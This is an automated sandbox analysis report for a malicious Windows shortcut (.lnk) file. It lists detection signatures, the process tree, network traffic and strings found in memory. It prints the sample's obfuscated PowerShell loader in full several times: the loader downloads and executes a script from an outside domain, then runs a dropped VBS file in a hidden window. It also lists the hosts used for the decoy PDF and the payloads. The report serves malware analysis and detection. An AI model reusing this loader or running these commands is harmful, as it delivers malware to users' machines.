Edit tour

Windows Analysis Report
yswmdaREME.lnk

Overview

General Information

Sample name:	yswmdaREME.lnk renamed because original name is a hash value
Original sample name:	b3c1839f1918791bf0b32f8df7588e31d64636bd70b2d289aea42782db4bcf36.lnk
Analysis ID:	1578188
MD5:	ac9f1a46ed4834706da623565b12cf8b
SHA1:	785d2d27f92b130b07296d0ebbffc9d3b9ec94ef
SHA256:	b3c1839f1918791bf0b32f8df7588e31d64636bd70b2d289aea42782db4bcf36
Tags:	185-236-228-9287-120-112-91lnkwww-al-rasikh-comuser-JAMESWT_MHT
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Windows shortcut file (LNK) starts blacklisted processes

Yara detected Powershell download and execute

AI detected suspicious sample

Machine Learning detection for sample

Obfuscated command line found

Powershell creates an autostart link

Sigma detected: Potential PowerShell Command Line Obfuscation

Sigma detected: Suspicious PowerShell Parameter Substring

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Windows shortcut file (LNK) contains suspicious command line arguments

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

powershell.exe (PID: 1020 cmdline: "C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe" ${xadeoc} = $PSHOME;${*k99xuf.} = ${xadeoc}[+52 -53 +1] + ${xadeoc}[-11 +2] + 'A' + ${xadeoc}[-66 +55];${f89.} = $([TYPE]${*k99xuf.});${*.n6m6k1.} = ${f89.}::ToString(+79 -1 -5)+${f89.}::ToString(+79 -1 -5 -4)+${f89.}::ToString(+79 +30 -10 +21);&(${*.n6m6k1.})(&(${*.n6m6k1.})(${xadeoc}[+52 -53 +1]+'u'+${xadeoc}[-66 +55]+${xadeoc}[-61 +55]+' https://www.al-rasikh.com/ms/neatez.txt -UseBasicParsing')) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5632 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3232 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -win hidden C:\Windows\System32\WindowsPowerShell\v1.0=iex "[Environment]::GetEnvironmentVariable('public') + '\\n6m6k1.vbs'" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 2864 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\List of Required items and services.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5664 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 3272 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1636,i,1401609163497545281,15886362525397421194,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

svchost.exe (PID: 1504 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 1020	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Other

Source	Rule	Description	Author	Strings
amsi64_1020.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Potential PowerShell Command Line Obfuscation

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp): Data: Command: "C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe" ${xadeoc} = $PSHOME;${*k99xuf.} = ${xadeoc}[+52 -53 +1] + ${xadeoc}[-11 +2] + 'A' + ${xadeoc}[-66 +55];${f89.} = $([TYPE]${*k99xuf.});${*.n6m6k1.} = ${f89.}::ToString(+79 -1 -5)+${f89.}::ToString(+79 -1 -5 -4)+${f89.}::ToString(+79 +30 -10 +21);&(${*.n6m6k1.})(&(${*.n6m6k1.})(${xadeoc}[+52 -53 +1]+'u'+${xadeoc}[-66 +55]+${xadeoc}[-61 +55]+' https://www.al-rasikh.com/ms/neatez.txt -UseBasicParsing')), CommandLine: "C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe" ${xadeoc} = $PSHOME;${*k99xuf.} = ${xadeoc}[+52 -53 +1] + ${xadeoc}[-11 +2] + 'A' + ${xadeoc}[-66 +55];${f89.} = $([TYPE]${*k99xuf.});${*.n6m6k1.} = ${f89.}::ToString(+79 -1 -5)+${f89.}::ToString(+79 -1 -5 -4)+${f89.}::ToString(+79 +30 -10 +21);&(${*.n6m6k1.})(&(${*.n6m6k1.})(${xadeoc}[+52 -53 +1]+'u'+${xadeoc}[-66 +55]+${xadeoc}[-61 +55]+' https://www.al-rasikh.com/ms/neatez.txt -UseBasicParsing')), CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: "C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe" ${xadeoc} = $PSHOME;${*k99xuf.} = ${xadeoc}[+52 -53 +1] + ${xadeoc}[-11 +2] + 'A' + ${xadeoc}[-66 +55];${f89.} = $([TYPE]${*k99xuf.});${*.n6m6k1.} = ${f89.}::ToString(+79 -1 -5)+${f89.}::ToString(+79 -1 -5 -4)+${f89.}::ToString(+79 +30 -10 +21);&(${*.n6m6k1.})(&(${*.n6m6k1.})(${xadeoc}[+52 -53 +1]+'u'+${xadeoc}[-66 +55]+${xadeoc}[-61 +55]+' https://www.al-rasikh.com/ms/neatez.txt -UseBasicParsing')), ProcessId: 1020, ProcessName: powershell.exe

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -win hidden C:\Windows\System32\WindowsPowerShell\v1.0=iex "[Environment]::GetEnvironmentVariable('public') + '\\n6m6k1.vbs'", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -win hidden C:\Windows\System32\WindowsPowerShell\v1.0=iex "[Environment]::GetEnvironmentVariable('public') + '\\n6m6k1.vbs'", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe" ${xadeoc} = $PSHOME;${*k99xuf.} = ${xadeoc}[+52 -53 +1] + ${xadeoc}[-11 +2] + 'A' + ${xadeoc}[-66 +55];${f89.} = $([TYPE]${*k99xuf.});${*.n6m6k1.} = ${f89.}::ToString(+79 -1 -5)+${f89.}::ToString(+79 -1 -5 -4)+${f89.}::ToString(+79 +30 -10 +21);&(${*.n6m6k1.})(&(${*.n6m6k1.})(${xadeoc}[+52 -53 +1]+'u'+${xadeoc}[-66 +55]+${xadeoc}[-61 +55]+' https://www.al-rasikh.com/ms/neatez.txt -UseBasicParsing')), ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 1020, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -win hidden C:\Windows\System32\WindowsPowerShell\v1.0=iex "[Environment]::GetEnvironmentVariable('public') + '\\n6m6k1.vbs'", ProcessId: 3232, ProcessName: powershell.exe

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Source: File created

Author: Florian Roth (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 1020, TargetFilename: C:\Users\Public\j67.vbs

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 1020, TargetFilename: C:\Users\Public\j67.vbs

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe" ${xadeoc} = $PSHOME;${*k99xuf.} = ${xadeoc}[+52 -53 +1] + ${xadeoc}[-11 +2] + 'A' + ${xadeoc}[-66 +55];${f89.} = $([TYPE]${*k99xuf.});${*.n6m6k1.} = ${f89.}::ToString(+79 -1 -5)+${f89.}::ToString(+79 -1 -5 -4)+${f89.}::ToString(+79 +30 -10 +21);&(${*.n6m6k1.})(&(${*.n6m6k1.})(${xadeoc}[+52 -53 +1]+'u'+${xadeoc}[-66 +55]+${xadeoc}[-61 +55]+' https://www.al-rasikh.com/ms/neatez.txt -UseBasicParsing')), CommandLine: "C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe" ${xadeoc} = $PSHOME;${*k99xuf.} = ${xadeoc}[+52 -53 +1] + ${xadeoc}[-11 +2] + 'A' + ${xadeoc}[-66 +55];${f89.} = $([TYPE]${*k99xuf.});${*.n6m6k1.} = ${f89.}::ToString(+79 -1 -5)+${f89.}::ToString(+79 -1 -5 -4)+${f89.}::ToString(+79 +30 -10 +21);&(${*.n6m6k1.})(&(${*.n6m6k1.})(${xadeoc}[+52 -53 +1]+'u'+${xadeoc}[-66 +55]+${xadeoc}[-61 +55]+' https://www.al-rasikh.com/ms/neatez.txt -UseBasicParsing')), CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: "C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe" ${xadeoc} = $PSHOME;${*k99xuf.} = ${xadeoc}[+52 -53 +1] + ${xadeoc}[-11 +2] + 'A' + ${xadeoc}[-66 +55];${f89.} = $([TYPE]${*k99xuf.});${*.n6m6k1.} = ${f89.}::ToString(+79 -1 -5)+${f89.}::ToString(+79 -1 -5 -4)+${f89.}::ToString(+79 +30 -10 +21);&(${*.n6m6k1.})(&(${*.n6m6k1.})(${xadeoc}[+52 -53 +1]+'u'+${xadeoc}[-66 +55]+${xadeoc}[-61 +55]+' https://www.al-rasikh.com/ms/neatez.txt -UseBasicParsing')), ProcessId: 1020, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1504, ProcessName: svchost.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: yswmdaREME.lnk

Avira: detected

Multi AV Scanner detection for submitted file

Source: yswmdaREME.lnk	Virustotal: Detection: 44%			Perma Link
Source: yswmdaREME.lnk	ReversingLabs: Detection: 31%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.2% probability

Machine Learning detection for sample

Source: yswmdaREME.lnk

Joe Sandbox ML: detected

Source: unknown	HTTPS traffic detected: 107.161.23.150:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 107.161.23.150:443 -> 192.168.2.7:49713 version: TLS 1.2

Source:	Binary string: mscorlib.pdbc source: powershell.exe, 00000002.00000002.1582670560.000001D94FF32000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdb source: powershell.exe, 00000002.00000002.1582670560.000001D94FF32000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000002.00000002.1580665848.000001D94FC29000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1582670560.000001D94FF80000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 00000002.00000002.1580665848.000001D94FC40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: powershell.exe, 00000002.00000002.1582670560.000001D94FF32000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: powershell.exe, 00000002.00000002.1582670560.000001D94FF32000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1580665848.000001D94FC29000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: powershell.exe, 00000002.00000002.1582670560.000001D94FF80000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdb source: powershell.exe, 00000002.00000002.1582670560.000001D94FF80000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb@Lb1 source: powershell.exe, 00000002.00000002.1582670560.000001D94FF80000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ion.pdb] source: powershell.exe, 00000004.00000002.1403404910.00000106D6083000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdbnu*_ source: powershell.exe, 00000002.00000002.1582670560.000001D94FF80000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ion.pdba source: powershell.exe, 00000004.00000002.1403404910.00000106D6083000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb-4437-8B11-F424491E3931}\InprocServer32l source: powershell.exe, 00000004.00000002.1403404910.00000106D600A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: powershell.exe, 00000002.00000002.1582670560.000001D94FF80000.00000004.00000020.00020000.00000000.sdmp

Source: global traffic	HTTP traffic detected: GET /ms/List%20of%20required%20items%20and%20services.pdf HTTP/1.1Host: www.astenterprises.com.pkConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ms/ms.vbs HTTP/1.1Host: www.bluemaxxlaser.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 203.175.174.69 203.175.174.69
Source: Joe Sandbox View	IP Address: 107.161.23.150 107.161.23.150

Source: Joe Sandbox View

ASN Name: RAMNODEUS RAMNODEUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: global traffic

HTTP traffic detected: GET /ms/neatez.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.al-rasikh.comConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /ms/neatez.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.al-rasikh.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ms/List%20of%20required%20items%20and%20services.pdf HTTP/1.1Host: www.astenterprises.com.pkConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ms/ms.vbs HTTP/1.1Host: www.bluemaxxlaser.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: www.al-rasikh.com
Source: global traffic	DNS traffic detected: DNS query: www.astenterprises.com.pk
Source: global traffic	DNS traffic detected: DNS query: www.bluemaxxlaser.com
Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 19 Dec 2024 10:56:28 GMTServer: ApacheContent-Length: 315Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Source: powershell.exe, 00000002.00000002.1517599420.000001D93929C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://al-rasikh.com
Source: powershell.exe, 00000002.00000002.1517599420.000001D939B4F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://astenterprises.com.pk
Source: svchost.exe, 00000008.00000002.2561704881.00000189C9800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.7.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000002.00000002.1575883475.000001D947C61000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1575883475.000001D947DA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000002.00000002.1517599420.000001D937E23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.1517599420.000001D937BF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1400695187.00000106BD895000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000002.00000002.1517599420.000001D93929C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.al-rasikh.com
Source: powershell.exe, 00000002.00000002.1517599420.000001D937E23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000002.00000002.1517599420.000001D939B4F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.astenterprises.com.pk
Source: powershell.exe, 00000002.00000002.1517599420.000001D939BD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.bluemaxxlaser.com
Source: powershell.exe, 00000002.00000002.1517599420.000001D939BD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.bluemaxxlaser.com/ms/ms.vbs
Source: powershell.exe, 00000002.00000002.1517599420.000001D93931E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.blum25maxxlasm25r.com/ms/ms.
Source: powershell.exe, 00000002.00000002.1517599420.000001D93931E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.blum25maxxlasm25r.com/ms/ms.vbs
Source: powershell.exe, 00000002.00000002.1517599420.000001D93931E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.blum25maxxlasm25r.com/ms/ms.vbsX
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: powershell.exe, 00000002.00000002.1517599420.000001D937BF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1400695187.00000106BD8CC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1400695187.00000106BD895000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000002.00000002.1575883475.000001D947DA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000002.00000002.1575883475.000001D947DA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000002.00000002.1575883475.000001D947DA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000008.00000003.1468050778.00000189C9680000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: powershell.exe, 00000002.00000002.1517599420.000001D937E23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000002.00000002.1517599420.000001D938B41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000002.00000002.1575883475.000001D947C61000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1575883475.000001D947DA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: qmgr.db.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.6.dr	String found in binary or memory: https://www.adobe.co
Source: powershell.exe, 00000002.00000002.1517599420.000001D938B41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.al-rasikh.com
Source: powershell.exe, 00000002.00000002.1517599420.000001D937E23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.al-rasikh.com/ms/nea
Source: powershell.exe, 00000002.00000002.1517599420.000001D937BF1000.00000004.00000800.00020000.00000000.sdmp, yswmdaREME.lnk	String found in binary or memory: https://www.al-rasikh.com/ms/neatez.txt
Source: powershell.exe, 00000002.00000002.1490339016.000001D935C09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.al-rasikh.com/ms/neatez.txt-UseBasicParsing
Source: powershell.exe, 00000002.00000002.1490339016.000001D935C09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.al-rasikh.com/ms/neatez.txts
Source: powershell.exe, 00000002.00000002.1517599420.000001D939A00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.astenterprises.com.pk
Source: powershell.exe, 00000002.00000002.1517599420.000001D939A00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.astenterprises.com.pk/ms/List%20of%20required%20items%20and%20services.pdf8
Source: powershell.exe, 00000002.00000002.1517599420.000001D939A00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.astm25ntm25rprism25s.com.pk/ms/List%20of%20rm25quirm25d%20itm25ms%20and%20sm25rvicm25s.p

Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713

Source: unknown	HTTPS traffic detected: 107.161.23.150:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 107.161.23.150:443 -> 192.168.2.7:49713 version: TLS 1.2

System Summary

Windows shortcut file (LNK) contains suspicious command line arguments

Source: yswmdaREME.lnk

LNK file: ${xadeoc} = $PSHOME;${*k99xuf.} = ${xadeoc}[+52 -53 +1] + ${xadeoc}[-11 +2] + 'A' + ${xadeoc}[-66 +55];${f89.} = $([TYPE]${*k99xuf.});${*.n6m6k1.} = ${f89.}::ToString(+79 -1 -5)+${f89.}::ToString(+79 -1 -5 -4)+${f89.}::ToString(+79 +30 -10 +21);&(${*.n6m6k1.})(&(${*.n6m6k1.})(${xadeoc}[+52 -53 +1]+'u'+${xadeoc}[-66 +55]+${xadeoc}[-61 +55]+' https://www.al-rasikh.com/ms/neatez.txt -UseBasicParsing'))

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.evad.winLNK@20/57@6/3

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\Desktop\List of Required items and services.pdf

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pjip0qff.oea.ps1

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -win hidden C:\Windows\System32\WindowsPowerShell\v1.0=iex "[Environment]::GetEnvironmentVariable('public') + '\\n6m6k1.vbs'"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

